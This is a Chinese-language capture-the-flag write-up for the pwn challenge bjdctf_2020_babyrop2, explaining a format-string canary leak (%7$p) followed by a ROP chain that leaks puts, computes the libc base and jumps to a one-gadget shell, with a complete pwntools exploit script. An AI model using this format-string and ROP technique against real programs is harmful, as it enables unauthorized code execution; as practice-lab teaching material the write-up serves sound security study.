这道题是一道基本题,正因为它经典,所以需要重点记录一下。

  这道题考察格式化字符串泄露canary,然后rop获得libc版本,之后拿到shell。拿到程序之后我们先检查一下保护。。。

  开启了堆栈不可执行和canary保护。接下来ida看一下伪代码吧!

  main函数中调用了三个函数,我们一个一个点进去看看,先看一下init()。

  有点水文章了。。。第一和函数就是告诉我们说让门尽力泄露libc的版本。。。来,我们继续看第二个函数!

  很明显有一个格式化字符串漏洞,并且format是由我们控制的,这里呢,我们先算一下这个格式化字符串的偏移吧。你看scanf那里,允许我们输入6个字节。。。那么我们就开始撞运气泄露偏移吧。。。

  当我们输入泄露偏移为6处的地址时,找到6161也就是aa,那么说明格式化字符串的偏移就是6,这里我们就要泄露canary,canary是在rbp+8,那么我们只要算好偏移泄露就可以了。

  这里的时候我们是输入了%6$p,看栈分布,说明我们只要输入%7$p,就把canary泄露出来了。我们直接运行程序看看。

  输出的这个就是canary,%p就是以十六进制输出数据。

  好,接下来我们看最后一个函数。

  

  就是简单的栈溢出,构造rop链了。

  接下来来看看payload怎么构造。

1 payload = p64(cancry)
2 payload = payload.rjust(0x20,'a')
3 payload += 'bbbbbbbb'
4 payload += p64(pop_rdi)
5 payload += p64(puts_got)
6 payload += p64(puts_plt)
7 payload += p64(ret_addr)

  

  把rbp+8的位置放上canary,下来就是简单泄露libc版本,调用shell了。

贴一下完整的exp:

 1 from pwn import *
2 import time
3
4 p = process('./bjdctf_2020_babyrop2')
5 elf = ELF('./bjdctf_2020_babyrop2')
6 context.log_level = 'debug'
7
8 p.recv()
9 payload = '%7$p'
10 p.sendline(payload)
11 p.recvuntil('0x')
12 cancry = int(p.recv(16),16)
13
14 puts_plt = 0x0400610
15 puts_got = elf.got['puts']
16 pop_rdi = 0x0400993
17 main_addr = elf.symbols['main']
18 ret_addr = 0x0400887
19
20 sleep(1)
21 payload = p64(cancry)
22 payload = payload.rjust(0x20,'a')
23 payload += 'bbbbbbbb'
24 payload += p64(pop_rdi)
25 payload += p64(puts_got)
26 payload += p64(puts_plt)
27 payload += p64(ret_addr)
28 p.recvuntil('story!\n')
29 p.sendline(payload)
30 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print hex(puts_addr)
32
33 base_addr = puts_addr - 0x06f690
34 shell_addr = base_addr + 0x45216
35 p.recvuntil('story!\n')
36 payload = p64(cancry)
37 payload = payload.rjust(0x20,'a')
38 payload += 'bbbbbbbb'
39 payload += p64(shell_addr)
40 p.sendline(payload)
41 p.interactive()
42 p.close()

bjdctf_2020_babyrop2的更多相关文章

  1. [BUUCTF]PWN——bjdctf_2020_babyrop2

    bjdctf_2020_babyrop2 附件 步骤: 例行检查,64位程序,开启了NX和canary保护 2. 试运行一下程序,看看大概的情况 提示我们去泄露libc 3. 64位ida载入,从ma ...

  2. bjdctf_2020_babyrop2(没有成功拿到shell)

    看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数.我们进入main函数中 在main的gift程序里面我 ...

  3. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

随机推荐

  1. [gym102412D]The Jump from Height of Self-importance to Height of IQ Level

    考虑使用平衡树维护该序列,操作显然可以用fhq treap的分裂+合并来实现 进一步的,问题即变为维护哪些信息来支持push up的操作(并判定是否存在$a_{i}<a_{j}<a_{k} ...

  2. [spojQTREE7]Query on a tree VII

    即QTREE5和QTREE6组合,即将原本维护子树范围内点数改为维护子树范围内最小值即可,由于最小值没有可减性,因此需要使用set (虽然形式上与QTREE5类似,但QTREE5维护的信息更巧妙一些, ...

  3. [spojQTREE6]Query on a tree VI

    考虑如下构造: 新建一条边$(0,1)$,并将原树以0为根建树,记$fa_{x}$为$x$的父亲(其中$1\le x\le n$) 维护两棵森林,分别记作$T_{0/1}$,每一条边恰属于一棵,其中$ ...

  4. [loj6500]操作

    差分,令$b_{i}=a_{i-1}\oplus a_{i}$,对于一个区间$[l,r]$,相当于令$a_{l-1}=a_{r+1}=0$之后求出$b_{l..r+1}$,对区间$[i-k,i)$异或 ...

  5. 如何解决 ASP.NET Core 中的依赖问题

    依赖性注入是一种技术,它允许我们注入一个特定类的依赖对象,而不是直接创建这些实例. 使用依赖注入的好处显而易见,它通过放松模块间的耦合,来增强系统的可维护性和可测试性. 依赖注入允许我们修改具体实现, ...

  6. 【GS模型】全基因组选择之rrBLUP

    目录 1. 理论 2. 实操 2.1 rrBLUP包简介 2.2 实操 3. 补充说明 关于模型 关于交叉验证 参考资料 1. 理论 rrBLUP是基因组选择最常用的模型之一,也是间接法模型的代表.回 ...

  7. MariaDB——数据库登录

    登录MariaDB数据库,用root账户和密码: 显示所有数据库列表:其中,information_schema.performance_schema.test.mysql,这4个库表是数据库系统自带 ...

  8. 充分利用nginx的reload功能平滑的上架和更新业务

    以前更新我们都要停服务更新,不管什么时候更新,都可能有客户在访问,体验不好,二是如果有数据传输,可能会造成数据丢失. nginx reload可以不间断更新配置文件,原理就是当我们修改配置文件发起re ...

  9. 巩固javaweb第十八天

    提交按钮 只要涉及提交信息,都应该提供一个提交按钮,当点击提交按钮的时候,用户输入的 信息将提交给服务器,意味着输入过程的结束.注册界面中也包含一个提交按钮. 提交按钮的基本格式如下: <inp ...

  10. day30线程(Threads)

    day30线程(Threads) 1.开启线程 一.什么是线程: 1.进程是资源分配的最小单位,线程是CPU调度的最小单位.每一个进程中至少有一个线程. 2.主进程中的线程称为主线程,其他开启的线程称 ...